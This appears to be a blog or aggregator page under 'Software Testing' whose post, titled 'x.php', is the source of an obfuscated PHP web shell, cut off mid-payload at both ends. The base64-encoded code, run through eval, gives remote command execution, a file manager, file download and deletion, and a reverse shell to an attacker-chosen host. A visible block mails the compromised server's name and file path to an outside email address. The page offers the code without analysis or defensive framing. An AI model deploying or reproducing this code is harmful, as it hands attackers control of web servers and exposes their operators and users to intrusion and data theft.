29jaywgJGxlbi1zdHJsZW4oJGJ1ZmZlcikpOyBicmVhaztjYXNlICdzb2NrZXQnOiAkYnVmZmVyIC49IHNvY2tldF9yZWFkKCRtc2dzb2NrLCAkbGVuLXN0cmxlbigkYnVmZmVyKSk7YnJlYWs7fX1ldmFsKCRidWZmZXIpO2VjaG8gIlsqXSBDb25uZWN0aW9uIFRlcm1pbmF0ZWQiO2RpZSgpO319DQppZihpc3NldCgkX1JFUVVFU1RbJ3NxbHBvcnRiNCddKSkgJHJzcG9ydGI0ID0gc3MoJF9SRVFVRVNUWydzcWxwb3J0YjQnXSk7DQppZihpc3NldCgkX1JFUVVFU1RbJ3JzdGFyZ2V0NCddKSkgJHJzdGFyZ2V0NCA9IHNzKCRfUkVRVUVTVFsncnN0YXJnZXQ0J10pOw0KaWYgKCRfUE9TVFsneGJhY2tfcGhwJ10pIHskaXAgPSAkcnN0YXJnZXQ0OyRwb3J0ID0gJHJzcG9ydGI0OyRjaHVua19zaXplID0gMTMzNzskd3JpdGVfYSA9IG51bGw7JGVycm9yX2EgPSBudWxsOyRzaGVsbCA9ICcvYmluL3NoJzskZGFlbW9uID0gMDskZGVidWcgPSAwO2lmKGZ1bmN0aW9uX2V4aXN0cygncGNudGxfZm9yaycpKXskcGlkID0gcGNudGxfZm9yaygpOw0KaWYgKCRwaWQgPT0gLTEpIGV4aXQoMSk7aWYgKCRwaWQpIGV4aXQoMCk7aWYgKHBvc2l4X3NldHNpZCgpID09IC0xKSBleGl0KDEpOyRkYWVtb24gPSAxO30NCnVtYXNrKDApOyRzb2NrID0gZnNvY2tvcGVuKCRpcCwgJHBvcnQsICRlcnJubywgJGVycnN0ciwgMzApO2lmKCEkc29jaykgZXhpdCgxKTsNCiRkZXNjcmlwdG9yc3BlYyA9IGFycmF5KDAgPT4gYXJyYXkoInBpcGUiLCAiciIpLCAxID0+IGFycmF5KCJwaXBlIiwgInciKSwgMiA9PiBhcnJheSgicGlwZSIsICJ3IikpOw0KJHByb2Nlc3MgPSBwcm9jX29wZW4oJHNoZWxsLCAkZGVzY3JpcHRvcnNwZWMsICRwaXBlcyk7DQppZighaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSBleGl0KDEpOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMF0sIDApOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMV0sIDApOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMl0sIDApOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkc29jaywgMCk7DQp3aGlsZSgxKXtpZihmZW9mKCRzb2NrKSkgYnJlYWs7aWYoZmVvZigkcGlwZXNbMV0pKSBicmVhazskcmVhZF9hID0gYXJyYXkoJHNvY2ssICRwaXBlc1sxXSwgJHBpcGVzWzJdKTskbnVtX2NoYW5nZWRfc29ja2V0cyA9IHN0cmVhbV9zZWxlY3QoJHJlYWRfYSwgJHdyaXRlX2EsICRlcnJvcl9hLCBudWxsKTsNCmlmKGluX2FycmF5KCRzb2NrLCAkcmVhZF9hKSl7JGlucHV0ID0gZnJlYWQoJHNvY2ssICRjaHVua19zaXplKTtmd3JpdGUoJHBpcGVzWzBdLCAkaW5wdXQpO30NCmlmKGluX2FycmF5KCRwaXBlc1sxXSwgJHJlYWRfYSkpeyRpbnB1dCA9IGZyZWFkKCRwaXBlc1sxXSwgJGNodW5rX3NpemUpO2Z3cml0ZSgkc29jaywgJGlucHV0KTt9DQppZihpbl9hcnJheSgkcGlwZXNbMl0sICRyZWFkX2EpKXskaW5wdXQgPSBmcmVhZCgkcGlwZXNbMl0sICRjaHVua19zaXplKTtmd3JpdGUoJHNvY2ssICRpbnB1dCk7fX1mY2xvc2UoJHNvY2spO2ZjbG9zZSgkcGlwZXNbMF0pO2ZjbG9zZSgkcGlwZXNbMV0pO2ZjbG9zZSgkcGlwZXNbMl0pO3Byb2NfY2xvc2UoJHByb2Nlc3MpOyRyc3JlcyA9ICIgIjskc19yZXN1bHQgLj0gJHJzcmVzO319IGVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnc2hlbGwnKSl7Pz4gDQo8Zm9ybSBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDs/PiZhbXA7eD1zaGVsbCIgbWV0aG9kPSJwb3N0Ij4gPHRhYmxlIGNsYXNzPSJjbWRib3giPiA8dHI+PHRkIGNvbHNwYW49IjIiPg0KPHRleHRhcmVhIGNsYXNzPSJvdXRwdXQiIHJlYWRvbmx5Pg0KPD9waHAgaWYoaXNzZXQoJF9QT1NUWydzdWJtaXRjbWQnXSkpIHtlY2hvIEBleGUoJF9QT1NUWydjbWQnXSk7fSA/PiANCjwvdGV4dGFyZWE+IDx0cj48dGQgY29sc3Bhbj0iMiI+PD9waHAgZWNobyAkcHJvbXB0Oz8+PGlucHV0IG9uTW91c2VPdmVyPSJ0aGlzLmZvY3VzKCk7IiBpZD0iY21kIiBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJjbWQiIHN0eWxlPSJ3aWR0aDo2MCU7IiB2YWx1ZT0iIiAvPjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJEbyAhIiBuYW1lPSJzdWJtaXRjbWQiIHN0eWxlPSJ3aWR0aDoxMiU7IiAvPjwvdGQ+PC90cj4gPC90YWJsZT48L2Zvcm0+IA0KPD9waHAgfWVsc2V7aWYoaXNzZXQoJF9HRVRbJ2RlbGV0ZSddKSAmJiAoJF9HRVRbJ2RlbGV0ZSddICE9ICIiKSl7JGZpbGUgPSAkX0dFVFsnZGVsZXRlJ107QHVubGluaygkZmlsZSk7fSANCmVsc2VpZihpc3NldCgkX0dFVFsnZmRlbGV0ZSddKSAmJiAoJF9HRVRbJ2ZkZWxldGUnXSAhPSAiIikpe0BybWRpcihydHJpbSgkX0dFVFsnZmRlbGV0ZSddLERJUkVDVE9SWV9TRVBBUkFUT1IpKTt9DQplbHNlaWYoaXNzZXQoJF9HRVRbJ21rZGlyJ10pICYmICgkX0dFVFsnbWtkaXInXSAhPSAiIikpeyRwYXRoID0gJHB3ZC4kX0dFVFsnbWtkaXInXTtAbWtkaXIoJHBhdGgpO30kYnVmZiA9IHNob3dkaXIoJHB3ZCwkcHJvbXB0KTtlY2hvICRidWZmO30NCj8+PC9kaXY+PC9ib2R5PjwvaHRtbD4='; eval(base64_decode($k2ll33d)); ?> <? $site = "www.dev-pts.com/vb"; if(!ereg($site, $_SERVER['SERVER_NAME'])) { $to = "mandrarami2000@gmail.com"; $subject = "EGFM"; $header = "from: New Shell "; $message = "Link : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "\r\n"; $message .= "Path : " . __file__; $sentmail = @mail($to, $subject, $message, $header); echo ""; exit; } ?> <?php chdir($lastdir); c99shexit(); ?>
Categories: Software Testing

x.php

Testing Reflections - Wed, 12/10/2014 - 06:34
<?php // fb/k2ll33d $k2ll33d='Ly8gYnkgazJsbDMzZCAvIGZiL2sybGwzM2QNCnNldF90aW1lX2xpbWl0KDApO2Vycm9yX3JlcG9ydGluZygwKTsNCmlmKGlzc2V0KCRfR0VUWyJkbCJdKSAmJiAoJF9HRVRbImRsIl0gIT0gIiIpKXskZmlsZSA9ICRfR0VUWyJkbCJdOyRmaWxleiA9IEBmaWxlX2dldF9jb250ZW50cygkZmlsZSk7aGVhZGVyKCJDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpO2hlYWRlcigiQ29udGVudC1sZW5ndGg6ICIuc3RybGVuKCRmaWxleikpO2hlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDtmaWxlbmFtZT0nIi5iYXNlbmFtZSgkZmlsZSkuIic7Iik7ZWNobyAkZmlsZXo7ZXhpdDt9IA0KZWxzZWlmKGlzc2V0KCRfR0VUWyJkbGd6aXAiXSkgJiYgKCRfR0VUWyJkbGd6aXAiXSAhPSAiIikpeyRmaWxlID0gJF9HRVRbJ2RsZ3ppcCddOyRmaWxleiA9IGd6ZW5jb2RlKEBmaWxlX2dldF9jb250ZW50cygkZmlsZSkpO2hlYWRlcigiQ29udGVudC1UeXBlOmFwcGxpY2F0aW9uL3gtZ3ppcFxuIik7aGVhZGVyKCJDb250ZW50LWxlbmd0aDogIi5zdHJsZW4oJGZpbGV6KSk7aGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50O2ZpbGVuYW1lPSciLmJhc2VuYW1lKCRmaWxlKS4iLmd6JzsiKTtlY2hvICRmaWxlejtleGl0O30gDQppZihpc3NldCgkX0dFVFsiaW1nIl0pKXtAb2JfY2xlYW4oKTskZCA9IG1hZ2ljYm9vbSgkX0dFVFsieSJdKTskZiA9ICRfR0VUWyJpbWciXTskaW5mID0gQGdldGltYWdlc2l6ZSgkZC4kZik7JGV4dCA9IGV4cGxvZGUoJGYsIi4iKTskZXh0ID0gJGV4dFtjb3VudCgkZXh0KS0xXTtAaGVhZGVyKCJDb250ZW50LXR5cGU6ICIuJGluZlsibWltZSJdKTtAaGVhZGVyKCJDYWNoZS1jb250cm9sOiBwdWJsaWMiKTtAaGVhZGVyKCJFeHBpcmVzOiAiLmRhdGUoInIiLG1rdGltZSgwLDAsMCwxLDEsMjAzMCkpKTtAaGVhZGVyKCJDYWNoZS1jb250cm9sOiBtYXgtYWdlPSIuKDYwKjYwKjI0KjcpKTtAcmVhZGZpbGUoJGQuJGYpO2V4aXQ7fSAkc29mdHdhcmUgPSBnZXRlbnYoIlNFUlZFUl9TT0ZUV0FSRSIpOw0KaWYgKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSBvciBzdHJ0b2xvd2VyKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSkgPT0gIm9uIikgJHNhZmVtb2RlID0gVFJVRTtlbHNlICRzYWZlbW9kZSA9IEZBTFNFOyRzeXN0ZW0gPSBAcGhwX3VuYW1lKCk7aWYoc3RydG9sb3dlcihzdWJzdHIoJHN5c3RlbSwwLDMpKSA9PSAid2luIikNCiR3aW4gPSBUUlVFO2Vsc2UgJHdpbiA9IEZBTFNFO2lmKGlzc2V0KCRfR0VUWyd5J10pKXtpZihAaXNfZGlyKCRfR0VUWyd2aWV3J10pKXskcHdkID0gJF9HRVRbJ3ZpZXcnXTtAY2hkaXIoJHB3ZCk7fSBlbHNleyRwd2QgPSAkX0dFVFsneSddO0BjaGRpcigkcHdkKTt9IH0gDQppZighJHdpbil7aWYoISR1c2VyID0gcmFwaWgoZXhlKCJ3aG9hbWkiKSkpJHVzZXIgPSAiIjtpZighJGlkID0gcmFwaWgoZXhlKCJpZCIpKSkgJGlkID0gIiI7JHByb21wdCA9ICR1c2VyLiIgXCQgIjskcHdkID0gQGdldGN3ZCgpLkRJUkVDVE9SWV9TRVBBUkFUT1I7fSANCmVsc2UgeyR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTskaWQgPSAkdXNlcjskcHJvbXB0ID0gJHVzZXIuIiAmZ3Q7IjskcHdkID0gcmVhbHBhdGgoIi4iKS4iXFwiOyR2ID0gZXhwbG9kZSgiXFwiLCRkKTskdiA9ICR2WzBdO2ZvcmVhY2ggKHJhbmdlKCJBIiwiWiIpIGFzICRsZXR0ZXIpIHskYm9vbCA9IEBpc19kaXIoJGxldHRlci4iOlxcIik7aWYgKCRib29sKXskbGV0dGVycyAuPSAiPGEgaHJlZj0nP3k9Ii4kbGV0dGVyLiI6XFwnPlsgIjtpZiAoJGxldHRlci4iOiIgIT0gJHYpeyRsZXR0ZXJzIC49ICRsZXR0ZXI7fSBlbHNlIHskbGV0dGVycyAuPSAiPHNwYW4gY2xhc3M9J2dheWEnPiIuJGxldHRlci4iPC9zcGFuPiI7fSAkbGV0dGVycyAuPSAiIF08L2E+ICI7fX19IA0KaWYoZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpICYmIGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSkgJHBvc2l4ID0gVFJVRTsNCmVsc2UgJHBvc2l4ID0gRkFMU0U7JHNlcnZlcl9pcCA9IEBnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk7JG15X2lwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107JGJpbmRwb3J0ID0gIjEzMTIzIjskYmluZHBvcnRfcGFzcyA9ICJrMmxsMzNkIjskcHdkcyA9IGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwkcHdkKTskcHdkdXJsID0gIiI7Zm9yKCRpID0gMCA7JGkgPCBzaXplb2YoJHB3ZHMpLTEgOyRpKyspeyRwYXRoeiA9ICIiO2ZvcigkaiA9IDAgOyRqIDw9ICRpIDskaisrKXskcGF0aHogLj0gJHB3ZHNbJGpdLkRJUkVDVE9SWV9TRVBBUkFUT1I7fSAkcHdkdXJsIC49ICI8YSBocmVmPSc/eT0iLiRwYXRoei4iJz4iLiRwd2RzWyRpXS4iICIuRElSRUNUT1JZX1NFUEFSQVRPUi4iIDwvYT4iO30gDQppZihpc3NldCgkX1BPU1RbJ3JlbmFtZSddKSl7JG9sZCA9ICRfUE9TVFsnb2xkbmFtZSddOyRuZXcgPSAkX1BPU1RbJ25ld25hbWUnXTtAcmVuYW1lKCRwd2QuJG9sZCwkcHdkLiRuZXcpOyRmaWxlID0gJHB3ZC4kbmV3O30JaWYoaXNzZXQoJF9QT1NUWydjaG1vZCddKSl7IA0KJG5hbWUgPSAkX1BPU1RbJ25hbWUnXTskdmFsdWUgPSAkX1BPU1RbJ25ld3ZhbHVlJ107aWYgKHN0cmxlbigkdmFsdWUpPT0zKXskdmFsdWUgPSAwIC4gIiIgLiAkdmFsdWU7fUBjaG1vZCgkcHdkLiRuYW1lLG9jdGRlYygkdmFsdWUpKTskZmlsZSA9ICRwd2QuJG5hbWU7fQ0KaWYoaXNzZXQoJF9QT1NUWydjaG1vZF9mb2xkZXInXSkpeyRuYW1lID0gJF9QT1NUWyduYW1lJ107JHZhbHVlID0gJF9QT1NUWyduZXd2YWx1ZSddO2lmIChzdHJsZW4oJHZhbHVlKT09Myl7JHZhbHVlID0gMCAuICIiIC4gJHZhbHVlO31AY2htb2QoJHB3ZC4kbmFtZSxvY3RkZWMoJHZhbHVlKSk7JGZpbGUgPSAkcHdkLiRuYW1lO30gJGJ1ZmYgPSAiJm5ic3A7Ii4kc29mdHdhcmUuIjxicj4iOyRidWZmIC49ICImbmJzcDsiLiRzeXN0ZW0uIjxicj4iO2lmKCRpZCAhPSAiIikgJGJ1ZmYgLj0gIiZuYnNwOyIuJGlkLiI8YnI+IjtpZigkc2FmZW1vZGUpICRidWZmIC49ICImbmJzcDtzYWZlbW9kZSA6Jm5ic3A7PGI+PGZvbnQgc3R5bGU9J2NvbG9yOiNERDQ3MzYnPk9OPC9mb250PjwvYj48YnI+IjtlbHNlICRidWZmIC49ICImbmJzcDtzYWZlbW9kZSA6Jm5ic3A7PGI+PGZvbnQgc3R5bGU9J2NvbG9yOiMwMEZGMDAnPk9GRjwvZm9udD48L2I+PGJyPiI7DQpmdW5jdGlvbiBzaG93c3RhdCgkc3RhdCkge2lmICgkc3RhdD09Im9uIikge3JldHVybiAiPGI+PGZvbnQgc3R5bGU9J2NvbG9yOiMwMEZGMDAnPk9OPC9mb250PjwvYj4iO31lbHNlIHtyZXR1cm4gIjxiPjxmb250IHN0eWxlPSdjb2xvcjojREQ0NzM2Jz5PRkY8L2ZvbnQ+PC9iPiI7fX0NCmZ1bmN0aW9uIHRlc3RteXNxbCgpIHtpZiAoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0JykpIHtyZXR1cm4gc2hvd3N0YXQoIm9uIik7fWVsc2Uge3JldHVybiBzaG93c3RhdCgib2ZmIik7fX0NCmZ1bmN0aW9uIHRlc3RjdXJsKCkge2lmIChmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpKSB7cmV0dXJuIHNob3dzdGF0KCJvbiIpO31lbHNlIHtyZXR1cm4gc2hvd3N0YXQoIm9mZiIpO319DQpmdW5jdGlvbiB0ZXN0d2dldCgpIHtpZiAoZXhlKCd3Z2V0IC0taGVscCcpKSB7cmV0dXJuIHNob3dzdGF0KCJvbiIpO31lbHNlIHtyZXR1cm4gc2hvd3N0YXQoIm9mZiIpO319DQpmdW5jdGlvbiB0ZXN0cGVybCgpIHtpZiAoZXhlKCdwZXJsIC1oJykpIHtyZXR1cm4gc2hvd3N0YXQoIm9uIik7fWVsc2Uge3JldHVybiBzaG93c3RhdCgib2ZmIik7fX0NCiRidWZmIC49ICImbmJzcDtNeVNRTDogIi50ZXN0bXlzcWwoKS4iJm5ic3A7fCZuYnNwO1Blcmw6ICIudGVzdHBlcmwoKS4iJm5ic3A7fCZuYnNwO2NVUkw6ICIudGVzdGN1cmwoKS4iJm5ic3A7fCZuYnNwO1dHZXQ6ICIudGVzdHdnZXQoKS4iPGJyPiI7DQokYnVmZiAuPSAiJm5ic3A7Ii4kbGV0dGVycy4iJm5ic3A7Jmd0OyZuYnNwOyIuJHB3ZHVybDsNCmZ1bmN0aW9uIHJhcGloKCR0ZXh0KXtyZXR1cm4gdHJpbShzdHJfcmVwbGFjZSgiPGJyPiIsIiIsJHRleHQpKTt9IA0KZnVuY3Rpb24gbWFnaWNib29tKCR0ZXh0KXtpZiAoIWdldF9tYWdpY19xdW90ZXNfZ3BjKCkpe3JldHVybiAkdGV4dDt9IHJldHVybiBzdHJpcHNsYXNoZXMoJHRleHQpO30gDQpmdW5jdGlvbiBzaG93ZGlyKCRwd2QsJHByb21wdCl7JGZuYW1lID0gYXJyYXkoKTskZG5hbWUgPSBhcnJheSgpOw0KaWYoZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpICYmIGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSkgDQokcG9zaXggPSBUUlVFO2Vsc2UgJHBvc2l4ID0gRkFMU0U7JHVzZXIgPSAiPz8/Pzo/Pz8/IjsNCmlmKCRkaCA9IG9wZW5kaXIoJHB3ZCkpe3doaWxlKCRmaWxlID0gcmVhZGRpcigkZGgpKXsNCmlmKGlzX2RpcigkZmlsZSkpeyRkbmFtZVtdID0gJGZpbGU7fSANCmVsc2VpZihpc19maWxlKCRmaWxlKSl7JGZuYW1lW10gPSAkZmlsZTt9fWNsb3NlZGlyKCRkaCk7fSBzb3J0KCRmbmFtZSk7c29ydCgkZG5hbWUpOyRwYXRoID0gQGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwkcHdkKTskdHJlZSA9IEBzaXplb2YoJHBhdGgpOyRwYXJlbnQgPSAiIjsNCiRidWZmID0gIiA8Zm9ybSBhY3Rpb249Jz95PSIuJHB3ZC4iJmFtcDt4PXNoZWxsJyBtZXRob2Q9J3Bvc3QnIHN0eWxlPSdtYXJnaW46OHB4IDAgMCAwOyc+PHRhYmxlIGNsYXNzPSdjbWRib3gnIHN0eWxlPSd3aWR0aDo1MCU7Jz48dHI+PHRkPiRwcm9tcHQ8L3RkPjx0ZD48aW5wdXQgb25Nb3VzZU92ZXI9J3RoaXMuZm9jdXMoKTsnIGlkPSdjbWQnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J2NtZCcgc3R5bGU9J3dpZHRoOjQwMHB4OycgdmFsdWU9JycgLz48aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nRG8gIScgbmFtZT0nc3VibWl0Y21kJyBzdHlsZT0nd2lkdGg6ODBweDsnIC8+PC90ZD48L3RyPjwvZm9ybT48Zm9ybSBhY3Rpb249Jz8nIG1ldGhvZD0nZ2V0JyBzdHlsZT0nbWFyZ2luOjhweCAwIDAgMDsnPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3knIHZhbHVlPSciLiRwd2QuIicgLz48dHI+PHRkPnZpZXcgZmlsZS9mb2xkZXI8L3RkPjxjZW50ZXI+PHRkPjxpbnB1dCBvbk1vdXNlT3Zlcj0ndGhpcy5mb2N1cygpOycgaWQ9J2dvdG8nIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J3ZpZXcnIHN0eWxlPSd3aWR0aDo0MDBweDsnIHZhbHVlPSciLiRwd2QuIicgLz48aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0ndmlldyAhJyBuYW1lPSdzdWJtaXRjbWQnIHN0eWxlPSd3aWR0aDo4MHB4OycgLz48L3RkPjwvY2VudGVyPjwvdHI+PC9mb3JtPjwvdGFibGU+PHRhYmxlIGNsYXNzPSdleHBsb3JlJz4gPHRyPjx0aD5uYW1lPC90aD48dGggc3R5bGU9J3dpZHRoOjgwcHg7Jz5zaXplPC90aD48dGggc3R5bGU9J3dpZHRoOjIxMHB4Oyc+b3duZXI6Z3JvdXA8L3RoPjx0aCBzdHlsZT0nd2lkdGg6ODBweDsnPnBlcm1zPC90aD48dGggc3R5bGU9J3dpZHRoOjExMHB4Oyc+bW9kaWZpZWQ8L3RoPjx0aCBzdHlsZT0nd2lkdGg6MTkwcHg7Jz5hY3Rpb25zPC90aD48L3RyPiAiOw0KaWYoJHRyZWUgPiAyKSANCmZvcigkaT0wOyRpPCR0cmVlLTI7JGkrKykgJHBhcmVudCAuPSAkcGF0aFskaV0uRElSRUNUT1JZX1NFUEFSQVRPUjsNCmVsc2UgJHBhcmVudCA9ICRwd2Q7DQpmb3JlYWNoKCRkbmFtZSBhcyAkZm9sZGVyKXsNCmlmKCRmb2xkZXIgPT0gIi4iKSB7DQppZighJHdpbiAmJiAkcG9zaXgpeyRuYW1lPUBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmb2xkZXIpKTskZ3JvdXA9QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZvbGRlcikpOyRvd25lciA9ICRuYW1lWyduYW1lJ10uIjxzcGFuIGNsYXNzPSdnYXlhJz4gOiA8L3NwYW4+Ii4kZ3JvdXBbJ25hbWUnXTt9IA0KZWxzZSB7JG93bmVyID0gJHVzZXI7fQ0KJGJ1ZmYgLj0gIjx0cj48dGQ+PGEgaHJlZj1cIj95PSIuJHB3ZC4iXCI+JGZvbGRlcjwvYT48L3RkPjx0ZD4tPC90ZD4NCjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuJG93bmVyLiI8L3RkPg0KPHRkPjxjZW50ZXI+Ii5nZXRfcGVybXMoJHB3ZCkuIjwvY2VudGVyPjwvdGQ+DQo8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOmNlbnRlcjtcIj4iLmRhdGUoImQtTS1ZIEg6aSIsQGZpbGVtdGltZSgkcHdkKSkuIjwvdGQ+PHRkPjxzcGFuIGlkPVwidGl0aWsxXCI+DQo8YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZWRpdD0iLiRwd2QuIm5ld2ZpbGUucGhwXCI+bmV3ZmlsZTwvYT4gfCA8YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcigndGl0aWsxJywndGl0aWsxX2Zvcm0nKTtcIj5uZXdmb2xkZXI8L2E+DQo8L3NwYW4+PGZvcm0gYWN0aW9uPVwiP1wiIG1ldGhvZD1cImdldFwiIGlkPVwidGl0aWsxX2Zvcm1cIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+IA0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwieVwiIHZhbHVlPVwiIi4kcHdkLiJcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MTQwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibWtkaXJcIiB2YWx1ZT1cImFfbmV3X2ZvbGRlclwiIC8+IA0KPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJyZW5hbWVcIiBzdHlsZT1cIndpZHRoOjM1cHg7XCIgdmFsdWU9XCJHb1wiIC8+IA0KPC9mb3JtPjwvdGQ+PC90cj4gIjt9IA0KZWxzZWlmKCRmb2xkZXIgPT0gIi4uIil7IA0KaWYoISR3aW4gJiYgJHBvc2l4KQ0KeyRuYW1lPUBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmb2xkZXIpKTskZ3JvdXA9QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZvbGRlcikpOw0KJG93bmVyID0gJG5hbWVbJ25hbWUnXS4iPHNwYW4gY2xhc3M9XCJnYXlhXCI+IDogPC9zcGFuPiIuJGdyb3VwWyduYW1lJ107fSANCmVsc2UgeyAkb3duZXIgPSAkdXNlcjsgfSANCiRidWZmIC49ICI8dHI+PHRkPg0KPGEgaHJlZj1cIj95PSIuJHBhcmVudC4iXCI+ICAkZm9sZGVyPC9hPjwvdGQ+PHRkPi08L3RkPg0KPHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii4kb3duZXIuIjwvdGQ+DQo8dGQ+PGNlbnRlcj4iLmdldF9wZXJtcygkcGFyZW50KS4iPC9jZW50ZXI+PC90ZD4gPHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii5kYXRlKCJkLU0tWSBIOmkiLEBmaWxlbXRpbWUoJHBhcmVudCkpLiI8L3RkPg0KPHRkPjxzcGFuIGlkPVwidGl0aWsyXCI+PGEgaHJlZj1cIj95PSRwd2QmYW1wO2VkaXQ9Ii4kcGFyZW50LiJuZXdmaWxlLnBocFwiPm5ld2ZpbGU8L2E+IHwgPGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoJ3RpdGlrMicsJ3RpdGlrMl9mb3JtJyk7XCI+bmV3Zm9sZGVyPC9hPjwvc3Bhbj4gDQo8Zm9ybSBhY3Rpb249XCI/XCIgbWV0aG9kPVwiZ2V0XCIgaWQ9XCJ0aXRpazJfZm9ybVwiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIj4gDQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ5XCIgdmFsdWU9XCIiLiRwd2QuIlwiIC8+IA0KPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgc3R5bGU9XCJ3aWR0aDoxNDBweDtcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJta2RpclwiIHZhbHVlPVwiYV9uZXdfZm9sZGVyXCIgLz4gDQo8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cInJlbmFtZVwiIHN0eWxlPVwid2lkdGg6MzVweDtcIiB2YWx1ZT1cIkdvXCIgLz4gDQo8L2Zvcm0+PC90ZD48L3RyPiI7fWVsc2V7aWYoISR3aW4gJiYgJHBvc2l4KXsgDQokbmFtZT1AcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZm9sZGVyKSk7IA0KJGdyb3VwPUBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRmb2xkZXIpKTsgDQokb3duZXIgPSAkbmFtZVsnbmFtZSddLiI8c3BhbiBjbGFzcz1cImdheWFcIj4gOiA8L3NwYW4+Ii4kZ3JvdXBbJ25hbWUnXTt9IA0KZWxzZSB7ICRvd25lciA9ICR1c2VyOyB9DQokYnVmZiAuPSAiPHRyPjx0ZD48YSBpZD1cIiIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2xpbmtcIiBocmVmPVwiP3k9Ii4kcHdkLiRmb2xkZXIuRElSRUNUT1JZX1NFUEFSQVRPUi4iXCI+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUFCR2RCVFVFQUFMR1BDL3hoQlFBQUFBbHdTRmx6QUFBT3dnQUFEc0lCRlNoS2dBQUFBQnAwUlZoMFUyOW1kSGRoY21VQVVHRnBiblF1VGtWVUlIWXpMalV1TVRBdzlIS2hBQUFDa1VsRVFWUTRUOFdUMlV2VVVSekZ6Mk5SVDVwYWI5WkRZWk5NTGpOcTZyZzFGcWhsNWN3OHFBKzJrSm1CZ3hLVWhWcFc0eTZGWmJsa2FSUk9wa1FMSVRLRzFFUmhDNUpNdWFWbXp1UVdCRDNlMjduTjBEL1FRei80OFAxKzd6bm5lKy9MRC9qdm4xNFh0VVlYcVUrTzBrZWJZMk5pTGZGeEJrdWlJY21TbkpSaU1lNU10ZXhLM1cwMnBoak5TWW5KWmtOOGdpa21lb2VKR1JNelJyMU92eFpiUXpUQlpDQlVFK29KRDR2d2NKRW5OaWJPWTRoTDhIQ1JKekVoNlUvUE16YzFkL2oyQ1BjMlRhaWJtU0ZOaUdZVDdoVDduYnlVNTc5eTRkQTZXWFVzUU5hY0NKUjFSWUd5b1RoSU5wWnM4TEZlMWx1RC9taTIvQUJaZWRCZjJ2TDhmblNWK0pkaG9oWlBKK3NndjE2SDlOeUdYT3lHWEg0QXVkTExldGZMU2g4clo2VXBqL0pPTVROUkF3ZkdhOUEzV2V0YjBPbGJRUFBTZmZaZFhwYlovMTFBajFxZ011UFZlSVl4RzdyR2JaQXp